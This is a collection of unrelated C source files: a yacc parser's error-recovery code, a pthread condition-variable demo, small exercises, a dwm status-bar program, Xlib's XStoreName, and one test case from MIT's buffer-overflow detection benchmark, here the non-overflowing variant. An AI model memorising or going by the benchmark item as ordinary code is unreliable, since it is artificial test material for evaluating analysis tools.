'unused label' warning */ yyerrlab: /* explicit YYERROR from an action -- pop the rhs of the rule reduced * before looking for error recovery */ yystack.s_mark -= yym; yystate = *yystack.s_mark; yystack.l_mark -= yym; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) yystack.p_mark -= yym; #endif yynewerrflag = 0; yyerrhandler: while (yyps->save) { int ctry; YYParseState *save = yyps->save; #if YYDEBUG if (yydebug) fprintf(stderr, "%s[%d]: ERROR in state %d, CONFLICT BACKTRACKING to state %d, %d tokens\n", YYDEBUGSTR, yydepth, yystate, yyps->save->state, (int)(yylvp - yylvals - yyps->save->lexeme)); #endif /* Memorize most forward-looking error state in case it's really an error. */ if (yyerrctx == NULL || yyerrctx->lexeme < yylvp - yylvals) { /* Free old saved error context state */ if (yyerrctx) yyFreeState(yyerrctx); /* Create and fill out new saved error context state */ yyerrctx = yyNewState((unsigned)(yystack.s_mark - yystack.s_base + 1)); if (yyerrctx == NULL) goto yyenomem; yyerrctx->save = yyps->save; yyerrctx->state = yystate; yyerrctx->errflag = yyerrflag; yyerrctx->yystack.s_mark = yyerrctx->yystack.s_base + (yystack.s_mark - yystack.s_base); memcpy (yyerrctx->yystack.s_base, yystack.s_base, (size_t) (yystack.s_mark - yystack.s_base + 1) * sizeof(YYINT)); yyerrctx->yystack.l_mark = yyerrctx->yystack.l_base + (yystack.l_mark - yystack.l_base); memcpy (yyerrctx->yystack.l_base, yystack.l_base, (size_t) (yystack.l_mark - yystack.l_base + 1) * sizeof(YYSTYPE)); #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) yyerrctx->yystack.p_mark = yyerrctx->yystack.p_base + (yystack.p_mark - yystack.p_base); memcpy (yyerrctx->yystack.p_base, yystack.p_base, (size_t) (yystack.p_mark - yystack.p_base + 1) * sizeof(YYLTYPE)); #endif yyerrctx->lexeme = (int) (yylvp - yylvals); } yylvp = yylvals + save->lexeme; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) yylpp = yylpsns + save->lexeme; #endif yylexp = yylexemes + save->lexeme; yychar = YYEMPTY; yystack.s_mark = yystack.s_base + (save->yystack.s_mark - save->yystack.s_base); memcpy (yystack.s_base, save->yystack.s_base, (size_t) (yystack.s_mark - yystack.s_base + 1) * sizeof(YYINT)); yystack.l_mark = yystack.l_base + (save->yystack.l_mark - save->yystack.l_base); memcpy (yystack.l_base, save->yystack.l_base, (size_t) (yystack.l_mark - yystack.l_base + 1) * sizeof(YYSTYPE)); #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) yystack.p_mark = yystack.p_base + (save->yystack.p_mark - save->yystack.p_base); memcpy (yystack.p_base, save->yystack.p_base, (size_t) (yystack.p_mark - yystack.p_base + 1) * sizeof(YYLTYPE)); #endif ctry = ++save->ctry; yystate = save->state; /* We tried shift, try reduce now */ if ((yyn = yyctable[ctry]) >= 0) goto yyreduce; yyps->save = save->save; save->save = NULL; yyFreeState(save); /* Nothing left on the stack -- error */ if (!yyps->save) { #if YYDEBUG if (yydebug) fprintf(stderr, "%sdebug[%d,trial]: trial parse FAILED, entering ERROR mode\n", YYPREFIX, yydepth); #endif /* Restore state as it was in the most forward-advanced error */ yylvp = yylvals + yyerrctx->lexeme; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) yylpp = yylpsns + yyerrctx->lexeme; #endif yylexp = yylexemes + yyerrctx->lexeme; yychar = yylexp[-1]; yylval = yylvp[-1]; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) yylloc = yylpp[-1]; #endif yystack.s_mark = yystack.s_base + (yyerrctx->yystack.s_mark - yyerrctx->yystack.s_base); memcpy (yystack.s_base, yyerrctx->yystack.s_base, (size_t) (yystack.s_mark - yystack.s_base + 1) * sizeof(YYINT)); yystack.l_mark = yystack.l_base + (yyerrctx->yystack.l_mark - yyerrctx->yystack.l_base); memcpy (yystack.l_base, yyerrctx->yystack.l_base, (size_t) (yystack.l_mark - yystack.l_base + 1) * sizeof(YYSTYPE)); #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) yystack.p_mark = yystack.p_base + (yyerrctx->yystack.p_mark - yyerrctx->yystack.p_base); memcpy (yystack.p_base, yyerrctx->yystack.p_base, (size_t) (yystack.p_mark - yystack.p_base + 1) * sizeof(YYLTYPE)); #endif yystate = yyerrctx->state; yyFreeState(yyerrctx); yyerrctx = NULL; } yynewerrflag = 1; } if (yynewerrflag == 0) goto yyinrecovery; #endif /* YYBTYACC */ YYERROR_CALL("syntax error"); #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) yyerror_loc_range[0] = yylloc; /* lookahead position is error start position */ #endif #if !YYBTYACC goto yyerrlab; /* redundant goto avoids 'unused label' warning */ yyerrlab: #endif ++yynerrs; yyinrecovery: if (yyerrflag < 3) { yyerrflag = 3; for (;;) { if (((yyn = yysindex[*yystack.s_mark]) != 0) && (yyn += YYERRCODE) >= 0 && yyn <= YYTABLESIZE && yycheck[yyn] == (YYINT) YYERRCODE) { #if YYDEBUG if (yydebug) fprintf(stderr, "%s[%d]: state %d, error recovery shifting to state %d\n", YYDEBUGSTR, yydepth, *yystack.s_mark, yytable[yyn]); #endif if (yystack.s_mark >= yystack.s_last && yygrowstack(&yystack) == YYENOMEM) goto yyoverflow; yystate = yytable[yyn]; *++yystack.s_mark = yytable[yyn]; *++yystack.l_mark = yylval; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) /* lookahead position is error end position */ yyerror_loc_range[1] = yylloc; YYLLOC_DEFAULT(yyloc, yyerror_loc_range, 2); /* position of error span */ *++yystack.p_mark = yyloc; #endif goto yyloop; } else { #if YYDEBUG if (yydebug) fprintf(stderr, "%s[%d]: error recovery discarding state %d\n", YYDEBUGSTR, yydepth, *yystack.s_mark); #endif if (yystack.s_mark <= yystack.s_base) goto yyabort; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) /* the current TOS position is the error start position */ yyerror_loc_range[0] = *yystack.p_mark; #endif #if defined(YYDESTRUCT_CALL) #if YYBTYACC if (!yytrial) #endif /* YYBTYACC */ #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) YYDESTRUCT_CALL("error: discarding state", yystos[*yystack.s_mark], yystack.l_mark, yystack.p_mark); #else YYDESTRUCT_CALL("error: discarding state", yystos[*yystack.s_mark], yystack.l_mark); #endif /* defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) */ #endif /* defined(YYDESTRUCT_CALL) */ --yystack.s_mark; --yystack.l_mark; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) --yystack.p_mark; #endif } } } else { if (yychar == YYEOF) goto yyabort; #if YYDEBUG if (yydebug) { if ((yys = yyname[YYTRANSLATE(yychar)]) == NULL) yys = yyname[YYUNDFTOKEN]; fprintf(stderr, "%s[%d]: state %d, error recovery discarding token %d (%s)\n", YYDEBUGSTR, yydepth, yystate, yychar, yys); } #endif #if defined(YYDESTRUCT_CALL) #if YYBTYACC if (!yytrial) #endif /* YYBTYACC */ #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) YYDESTRUCT_CALL("error: discarding token", yychar, &yylval, &yylloc); #else YYDESTRUCT_CALL("error: discarding token", yychar, &yylval); #endif /* defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) */ #endif /* defined(YYDESTRUCT_CALL) */ yychar = YYEMPTY; goto yyloop; } yyreduce: yym = yylen[yyn]; #if YYDEBUG if (yydebug) { fprintf(stderr, "%s[%d]: state %d, reducing by rule %d (%s)", YYDEBUGSTR, yydepth, yystate, yyn, yyrule[yyn]); #ifdef YYSTYPE_TOSTRING #if YYBTYACC if (!yytrial) #endif /* YYBTYACC */ if (yym > 0) { int i; fputc('<', stderr); for (i = yym; i > 0; i--) { if (i != yym) fputs(", ", stderr); fputs(YYSTYPE_TOSTRING(yystos[yystack.s_mark[1-i]], yystack.l_mark[1-i]), stderr); } fputc('>', stderr); } #endif fputc('\n', stderr); } #endif if (yym > 0) yyval = yystack.l_mark[1-yym]; else memset(&yyval, 0, sizeof yyval); #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) /* Perform position reduction */ memset(&yyloc, 0, sizeof(yyloc)); #if YYBTYACC if (!yytrial) #endif /* YYBTYACC */ { YYLLOC_DEFAULT(yyloc, &yystack.p_mark[1-yym], yym); /* just in case YYERROR is invoked within the action, save the start of the rhs as the error start position */ yyerror_loc_range[0] = yystack.p_mark[1-yym]; } #endif switch (yyn) { case 3: #line 59 "varsyntax_calc1.y" { (void) printf("%15.8f\n", yystack.l_mark[-1].dval); } break; case 4: #line 63 "varsyntax_calc1.y" { (void) printf("(%15.8f, %15.8f)\n", yystack.l_mark[-1].vval.lo, yystack.l_mark[-1].vval.hi); } break; case 5: #line 67 "varsyntax_calc1.y" { dreg[yystack.l_mark[-3].ival] = yystack.l_mark[-1].dval; } break; case 6: #line 71 "varsyntax_calc1.y" { vreg[yystack.l_mark[-3].ival] = yystack.l_mark[-1].vval; } break; case 7: #line 75 "varsyntax_calc1.y" { yyerrok; } break; case 9: #line 82 "varsyntax_calc1.y" { yyval.dval = dreg[yystack.l_mark[0].ival]; /* $$ & $1 are sufficient here*/ } break; case 10: #line 86 "varsyntax_calc1.y" { yyval.dval = yystack.l_mark[-2].dval + yystack.l_mark[0].dval; } break; case 11: #line 90 "varsyntax_calc1.y" { yyval.dval = yystack.l_mark[-2].dval - yystack.l_mark[0].dval; } break; case 12: #line 94 "varsyntax_calc1.y" { yyval.dval = yystack.l_mark[-2].dval * yystack.l_mark[0].dval; } break; case 13: #line 98 "varsyntax_calc1.y" { yyval.dval = yystack.l_mark[-2].dval / yystack.l_mark[0].dval; } break; case 14: #line 102 "varsyntax_calc1.y" { yyval.dval = -yystack.l_mark[0].dval; } break; case 15: #line 106 "varsyntax_calc1.y" { yyval.dval = yystack.l_mark[-1].dval; } break; case 16: #line 112 "varsyntax_calc1.y" { yyval.vval.hi = yyval.vval.lo = yystack.l_mark[0].dval; } break; case 17: #line 116 "varsyntax_calc1.y" { yyval.vval.lo = yystack.l_mark[-3].dval; yyval.vval.hi = yystack.l_mark[-1].dval; if ( yyval.vval.lo > yyval.vval.hi ) { (void) printf("interval out of order\n"); YYERROR; } } break; case 18: #line 126 "varsyntax_calc1.y" { yyval.vval = vreg[yystack.l_mark[0].ival]; } break; case 19: #line 130 "varsyntax_calc1.y" { yyval.vval.hi = yystack.l_mark[-2].vval.hi + yystack.l_mark[0].vval.hi; yyval.vval.lo = yystack.l_mark[-2].vval.lo + yystack.l_mark[0].vval.lo; } break; case 20: #line 135 "varsyntax_calc1.y" { yyval.vval.hi = yystack.l_mark[-2].dval + yystack.l_mark[0].vval.hi; yyval.vval.lo = yystack.l_mark[-2].dval + yystack.l_mark[0].vval.lo; } break; case 21: #line 140 "varsyntax_calc1.y" { yyval.vval.hi = yystack.l_mark[-2].vval.hi - yystack.l_mark[0].vval.lo; yyval.vval.lo = yystack.l_mark[-2].vval.lo - yystack.l_mark[0].vval.hi; } break; case 22: #line 145 "varsyntax_calc1.y" { yyval.vval.hi = yystack.l_mark[-2].dval - yystack.l_mark[0].vval.lo; yyval.vval.lo = yystack.l_mark[-2].dval - yystack.l_mark[0].vval.hi; } break; case 23: #line 150 "varsyntax_calc1.y" { yyval.vval = vmul( yystack.l_mark[-2].vval.lo, yystack.l_mark[-2].vval.hi, yystack.l_mark[0].vval ); } break; case 24: #line 154 "varsyntax_calc1.y" { yyval.vval = vmul (yystack.l_mark[-2].dval, yystack.l_mark[-2].dval, yystack.l_mark[0].vval ); } break; case 25: #line 158 "varsyntax_calc1.y" { if (dcheck(yystack.l_mark[0].vval)) YYERROR; yyval.vval = vdiv ( yystack.l_mark[-2].vval.lo, yystack.l_mark[-2].vval.hi, yystack.l_mark[0].vval ); } break; case 26: #line 163 "varsyntax_calc1.y" { if (dcheck ( yystack.l_mark[0].vval )) YYERROR; yyval.vval = vdiv (yystack.l_mark[-2].dval, yystack.l_mark[-2].dval, yystack.l_mark[0].vval ); } break; case 27: #line 168 "varsyntax_calc1.y" { yyval.vval.hi = -yystack.l_mark[0].vval.lo; yyval.vval.lo = -yystack.l_mark[0].vval.hi; } break; case 28: #line 173 "varsyntax_calc1.y" { yyval.vval = yystack.l_mark[-1].vval; } break; #line 1486 "varsyntax_calc1.tab.c" default: break; } yystack.s_mark -= yym; yystate = *yystack.s_mark; yystack.l_mark -= yym; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) yystack.p_mark -= yym; #endif yym = yylhs[yyn]; if (yystate == 0 && yym == 0) { #if YYDEBUG if (yydebug) { fprintf(stderr, "%s[%d]: after reduction, ", YYDEBUGSTR, yydepth); #ifdef YYSTYPE_TOSTRING #if YYBTYACC if (!yytrial) #endif /* YYBTYACC */ fprintf(stderr, "result is <%s>, ", YYSTYPE_TOSTRING(yystos[YYFINAL], yyval)); #endif fprintf(stderr, "shifting from state 0 to final state %d\n", YYFINAL); } #endif yystate = YYFINAL; *++yystack.s_mark = YYFINAL; *++yystack.l_mark = yyval; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) *++yystack.p_mark = yyloc; #endif if (yychar < 0) { #if YYBTYACC do { if (yylvp < yylve) { /* we're currently re-reading tokens */ yylval = *yylvp++; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) yylloc = *yylpp++; #endif yychar = *yylexp++; break; } if (yyps->save) { /* in trial mode; save scanner results for future parse attempts */ if (yylvp == yylvlim) { /* Enlarge lexical value queue */ size_t p = (size_t) (yylvp - yylvals); size_t s = (size_t) (yylvlim - yylvals); s += YYLVQUEUEGROWTH; if ((yylexemes = realloc(yylexemes, s * sizeof(YYINT))) == NULL) goto yyenomem; if ((yylvals = realloc(yylvals, s * sizeof(YYSTYPE))) == NULL) goto yyenomem; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) if ((yylpsns = realloc(yylpsns, s * sizeof(YYLTYPE))) == NULL) goto yyenomem; #endif yylvp = yylve = yylvals + p; yylvlim = yylvals + s; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) yylpp = yylpe = yylpsns + p; yylplim = yylpsns + s; #endif yylexp = yylexemes + p; } *yylexp = (YYINT) YYLEX; *yylvp++ = yylval; yylve++; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) *yylpp++ = yylloc; yylpe++; #endif yychar = *yylexp++; break; } /* normal operation, no conflict encountered */ #endif /* YYBTYACC */ yychar = YYLEX; #if YYBTYACC } while (0); #endif /* YYBTYACC */ if (yychar < 0) yychar = YYEOF; #if YYDEBUG if (yydebug) { if ((yys = yyname[YYTRANSLATE(yychar)]) == NULL) yys = yyname[YYUNDFTOKEN]; fprintf(stderr, "%s[%d]: state %d, reading token %d (%s)\n", YYDEBUGSTR, yydepth, YYFINAL, yychar, yys); } #endif } if (yychar == YYEOF) goto yyaccept; goto yyloop; } if (((yyn = yygindex[yym]) != 0) && (yyn += yystate) >= 0 && yyn <= YYTABLESIZE && yycheck[yyn] == (YYINT) yystate) yystate = yytable[yyn]; else yystate = yydgoto[yym]; #if YYDEBUG if (yydebug) { fprintf(stderr, "%s[%d]: after reduction, ", YYDEBUGSTR, yydepth); #ifdef YYSTYPE_TOSTRING #if YYBTYACC if (!yytrial) #endif /* YYBTYACC */ fprintf(stderr, "result is <%s>, ", YYSTYPE_TOSTRING(yystos[yystate], yyval)); #endif fprintf(stderr, "shifting from state %d to state %d\n", *yystack.s_mark, yystate); } #endif if (yystack.s_mark >= yystack.s_last && yygrowstack(&yystack) == YYENOMEM) goto yyoverflow; *++yystack.s_mark = (YYINT) yystate; *++yystack.l_mark = yyval; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) *++yystack.p_mark = yyloc; #endif goto yyloop; #if YYBTYACC /* Reduction declares that this path is valid. Set yypath and do a full parse */ yyvalid: if (yypath) YYABORT; while (yyps->save) { YYParseState *save = yyps->save; yyps->save = save->save; save->save = yypath; yypath = save; } #if YYDEBUG if (yydebug) fprintf(stderr, "%s[%d]: state %d, CONFLICT trial successful, backtracking to state %d, %d tokens\n", YYDEBUGSTR, yydepth, yystate, yypath->state, (int)(yylvp - yylvals - yypath->lexeme)); #endif if (yyerrctx) { yyFreeState(yyerrctx); yyerrctx = NULL; } yylvp = yylvals + yypath->lexeme; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) yylpp = yylpsns + yypath->lexeme; #endif yylexp = yylexemes + yypath->lexeme; yychar = YYEMPTY; yystack.s_mark = yystack.s_base + (yypath->yystack.s_mark - yypath->yystack.s_base); memcpy (yystack.s_base, yypath->yystack.s_base, (size_t) (yystack.s_mark - yystack.s_base + 1) * sizeof(YYINT)); yystack.l_mark = yystack.l_base + (yypath->yystack.l_mark - yypath->yystack.l_base); memcpy (yystack.l_base, yypath->yystack.l_base, (size_t) (yystack.l_mark - yystack.l_base + 1) * sizeof(YYSTYPE)); #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) yystack.p_mark = yystack.p_base + (yypath->yystack.p_mark - yypath->yystack.p_base); memcpy (yystack.p_base, yypath->yystack.p_base, (size_t) (yystack.p_mark - yystack.p_base + 1) * sizeof(YYLTYPE)); #endif yystate = yypath->state; goto yyloop; #endif /* YYBTYACC */ yyoverflow: YYERROR_CALL("yacc stack overflow"); #if YYBTYACC goto yyabort_nomem; yyenomem: YYERROR_CALL("memory exhausted"); yyabort_nomem: #endif /* YYBTYACC */ yyresult = 2; goto yyreturn; yyabort: yyresult = 1; goto yyreturn; yyaccept: #if YYBTYACC if (yyps->save) goto yyvalid; #endif /* YYBTYACC */ yyresult = 0; yyreturn: #if defined(YYDESTRUCT_CALL) if (yychar != YYEOF && yychar != YYEMPTY) #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) YYDESTRUCT_CALL("cleanup: discarding token", yychar, &yylval, &yylloc); #else YYDESTRUCT_CALL("cleanup: discarding token", yychar, &yylval); #endif /* defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) */ { YYSTYPE *pv; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) YYLTYPE *pp; for (pv = yystack.l_base, pp = yystack.p_base; pv <= yystack.l_mark; ++pv, ++pp) YYDESTRUCT_CALL("cleanup: discarding state", yystos[*(yystack.s_base + (pv - yystack.l_base))], pv, pp); #else for (pv = yystack.l_base; pv <= yystack.l_mark; ++pv) YYDESTRUCT_CALL("cleanup: discarding state", yystos[*(yystack.s_base + (pv - yystack.l_base))], pv); #endif /* defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) */ } #endif /* defined(YYDESTRUCT_CALL) */ #if YYBTYACC if (yyerrctx) { yyFreeState(yyerrctx); yyerrctx = NULL; } while (yyps) { YYParseState *save = yyps; yyps = save->save; save->save = NULL; yyFreeState(save); } while (yypath) { YYParseState *save = yypath; yypath = save->save; save->save = NULL; yyFreeState(save); } #endif /* YYBTYACC */ yyfreestack(&yystack); return (yyresult); }
the_stack_data/87638648.c
#include <pthread.h> #include <stdio.h> #define NUM_THREADS 3 #define TCOUNT 10 #define COUNT_LIMIT 12 int count = 0; int thread_ids[4] = {0, 1, 2, 3}; pthread_mutex_t count_mutex; pthread_cond_t count_threshold_cv; void *inc_count(void *idp); void *watch_count(void *idp); int main(int argc, char *argv[]){ int i,rc; pthread_t threads[4]; // 스레드 3 개 pthread_attr_t attr; // mutex와 condition variable 의 attr pthread_mutex_init(&count_mutex,NULL); // MUTEX 초기화 pthread_cond_init(&count_threshold_cv, NULL); // 조건 변수 초기화 pthread_attr_init(&attr); pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE); pthread_create(&threads[0], &attr, inc_count, (void *) &thread_ids[0]); // int_count 함수 실행 -> threads[0]이 실행 thread 0 pthread_create(&threads[1], &attr, inc_count, (void *) &thread_ids[1]); // int_count 함수 실행 -> threads[1]이 실행 thread 1 pthread_create(&threads[2], &attr, inc_count, (void *) &thread_ids[2]); // int_count 함수 실행 -> threads[2]이 실행 thread 2 pthread_create(&threads[3], &attr, watch_count, (void *) &thread_ids[3]); // watch_count 함수 실행 for(i = 0; i<NUM_THREADS; i++){ pthread_join(threads[i], NULL); } printf("Main(): Waited on %d threads. Done.\n", NUM_THREADS); } void *inc_count(void *idp){ // 10회 반복 thread 3개면 30까지 count가 더해짐. int i,j; double result = 0.0; int *my_id = idp; for(i=0; i< TCOUNT; i++){ pthread_mutex_lock(&count_mutex); // 공유 변수 count 접근 시 lock count++; if(count == COUNT_LIMIT){ // count 가 12가 될 때 실행 pthread_cond_signal(&count_threshold_cv); // signal을 보내기 위해 for문 첫 줄에서 lock을 건다. printf("inc_count(): thread %d, count= %d Threshold reached.\n", *my_id, count); } printf("inc_count(): thread %d, count = %d, unlocking mutex\n", *my_id, count); pthread_mutex_unlock(&count_mutex); // lock 해제 for(j=0; j<1000; j++){ result = result + (double)random(); } } pthread_exit(NULL); } void *watch_count(void *idp){ int *my_id = idp; printf("Starting watch_count(): thread %d\n", *my_id); pthread_mutex_lock(&count_mutex); while(count < COUNT_LIMIT){ // count 가 12가 될 때까지 반복 pthread_cond_wait(&count_threshold_cv, &count_mutex); // signal이 올 때 까지 lock이 걸린 상태로 대기 -> 이 함수 호출되면 자동적으로 mutex를 unlock하고 대기 printf("watch_count(): thread %d Condition signal recieved.\n", *my_id); // count가 12 되었을 때 signal이 보내져서 printf()가 수행된다. } pthread_mutex_unlock(&count_mutex); pthread_exit(NULL); }
the_stack_data/5968.c
#include <stdio.h> int main() { int i, j, start, end, isPrime, len = 0; printf("Find number of all primes between a number from: "); scanf("%d", &start); printf("to: "); scanf("%d", &end); for (i = start; i <= end; i++) { isPrime = 1; for (j = 2; j <= i / 2; j++) { if (i % j == 0) { /* 'i' is not prime */ isPrime = 0; break; } } if (i == 1) { /* Skip the loop for the input number is '1' */ continue; } /* * If 'i' is Prime then add to sum */ if (isPrime == 1) { len++; } } printf("Numbers of the prime numbers between %d to %d = %d", start, end, len); return 0; }
the_stack_data/6387438.c
/* * Copy me if you can. * by 20h */ #define _BSD_SOURCE #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <stdarg.h> #include <string.h> #include <strings.h> #include <sys/time.h> #include <time.h> #include <sys/types.h> #include <sys/wait.h> #include <X11/Xlib.h> char *tzutc = "UTC"; char *tzsaopaulo = "America/Sao_Paulo"; static Display *dpy; char * smprintf(char *fmt, ...) { va_list fmtargs; char *ret; int len; va_start(fmtargs, fmt); len = vsnprintf(NULL, 0, fmt, fmtargs); va_end(fmtargs); ret = malloc(++len); if (ret == NULL) { perror("malloc"); exit(1); } va_start(fmtargs, fmt); vsnprintf(ret, len, fmt, fmtargs); va_end(fmtargs); return ret; } void settz(char *tzname) { setenv("TZ", tzname, 1); } char * mktimes(char *fmt, char *tzname) { char buf[129]; time_t tim; struct tm *timtm; settz(tzname); tim = time(NULL); timtm = localtime(&tim); if (timtm == NULL) return smprintf(""); if (!strftime(buf, sizeof(buf)-1, fmt, timtm)) { fprintf(stderr, "strftime == 0\n"); return smprintf(""); } return smprintf("%s", buf); } void setstatus(char *str) { XStoreName(dpy, DefaultRootWindow(dpy), str); XSync(dpy, False); } char * loadavg(void) { double avgs[3]; if (getloadavg(avgs, 3) < 0) return smprintf(""); return smprintf("%.2f %.2f %.2f", avgs[0], avgs[1], avgs[2]); } char * readfile(char *base, char *file) { char *path, line[513]; FILE *fd; memset(line, 0, sizeof(line)); path = smprintf("%s/%s", base, file); fd = fopen(path, "r"); free(path); if (fd == NULL) return NULL; if (fgets(line, sizeof(line)-1, fd) == NULL) return NULL; fclose(fd); return smprintf("%s", line); } char * getbattery(char *base) { char *co, status; int descap, remcap; descap = -1; remcap = -1; co = readfile(base, "present"); if (co == NULL) return smprintf(""); if (co[0] != '1') { free(co); return smprintf("not present"); } free(co); co = readfile(base, "charge_full_design"); if (co == NULL) { co = readfile(base, "energy_full_design"); if (co == NULL) return smprintf(""); } sscanf(co, "%d", &descap); free(co); co = readfile(base, "charge_now"); if (co == NULL) { co = readfile(base, "energy_now"); if (co == NULL) return smprintf(""); } sscanf(co, "%d", &remcap); free(co); co = readfile(base, "status"); if (!strncmp(co, "Discharging", 11)) { status = '-'; } else if(!strncmp(co, "Charging", 8)) { status = '+'; } else { status = '?'; } if (remcap < 0 || descap < 0) return smprintf("invalid"); return smprintf("%.0f%%%c", ((float)remcap / (float)descap) * 100, status); } char * gettemperature(char *base, char *sensor) { char *co; co = readfile(base, sensor); if (co == NULL) return smprintf(""); return smprintf("%02.0f°C", atof(co) / 1000); } int main(void) { char *status; char *avgs; char *bat; char *tmutc; char *tmsp; if (!(dpy = XOpenDisplay(NULL))) { fprintf(stderr, "dwmstatus: cannot open display.\n"); return 1; } for (;;sleep(60)) { avgs = loadavg(); bat = getbattery("/sys/class/power_supply/BAT0"); tmutc = mktimes("%H:%M", tzutc); tmsp = mktimes("%a %Y-%m-%d %H:%M %Z", tzsaopaulo); status = smprintf(" L:%s | B:%s | U:%s | %s ", avgs, bat, tmutc, tmsp); setstatus(status); free(avgs); free(bat); free(tmutc); free(tmsp); free(status); } XCloseDisplay(dpy); return 0; }
the_stack_data/159514286.c
/* Taxonomy Classification: 0000000000000053000000 */ /* * WRITE/READ 0 write * WHICH BOUND 0 upper * DATA TYPE 0 char * MEMORY LOCATION 0 stack * SCOPE 0 same * CONTAINER 0 no * POINTER 0 no * INDEX COMPLEXITY 0 constant * ADDRESS COMPLEXITY 0 constant * LENGTH COMPLEXITY 0 N/A * ADDRESS ALIAS 0 none * INDEX ALIAS 0 none * LOCAL CONTROL FLOW 0 none * SECONDARY CONTROL FLOW 0 none * LOOP STRUCTURE 5 non-standard do-while * LOOP COMPLEXITY 3 two * ASYNCHRONY 0 no * TAINT 0 no * RUNTIME ENV. DEPENDENCE 0 no * MAGNITUDE 0 no overflow * CONTINUOUS/DISCRETE 0 discrete * SIGNEDNESS 0 no */ /* Copyright 2005 Massachusetts Institute of Technology All rights reserved. Redistribution and use of software in source and binary forms, with or without modification, are permitted provided that the following conditions are met. - Redistributions of source code must retain the above copyright notice, this set of conditions and the disclaimer below. - Redistributions in binary form must reproduce the copyright notice, this set of conditions, and the disclaimer below in the documentation and/or other materials provided with the distribution. - Neither the name of the Massachusetts Institute of Technology nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS". ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ int main(int argc, char *argv[]) { int test_value; int inc_value; int loop_counter; char buf[10]; test_value = 9; inc_value = 9 - (9 - 1); loop_counter = 0; do { /* OK */ buf[9] = 'A'; } while((loop_counter += inc_value) && (loop_counter <= test_value)); return 0; }
the_stack_data/393316.c
#include<stdio.h> //promise void greet(int n); void countdown(int i); int sumN(int j); int sum = 0; int gridPath(int, int); int path; int main() { // this is a program trying out recursion // greet(3); // countdown(5); // printf("%i\n", sumN(25)); // printf("%i\n", gridPath(2,4)); } void greet(int n) { //base case if(n == 0){ printf("finished\n"); } else { printf("Hi.\n"); n -= 1; greet(n); } } void countdown(int i) { //base case if (i == 0){ printf("0\n"); } else { printf("%i\n",i); i -= 1; countdown(i); } } int sumN(int j) { // find the sum of integer 1 to j //base case if (j == 0){ return sum; } else { return j + sumN(j-1); } } int gridPath(int n, int m) { if (n == 1 || m == 1){ path = 1; } else { path = gridPath(n-1,m) + gridPath(n,m-1); } return path; }
the_stack_data/156392873.c
/* Copyright 1986, 1998 The Open Group Permission to use, copy, modify, distribute, and sell this software and its documentation for any purpose is hereby granted without fee, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation. The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Except as contained in this notice, the name of The Open Group shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization from The Open Group. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #include <X11/Xlibint.h> #include <X11/Xatom.h> int XStoreName ( register Display *dpy, Window w, _Xconst char *name) { return XChangeProperty(dpy, w, XA_WM_NAME, XA_STRING, 8, PropModeReplace, (_Xconst unsigned char *)name, name ? (int) strlen(name) : 0); } int 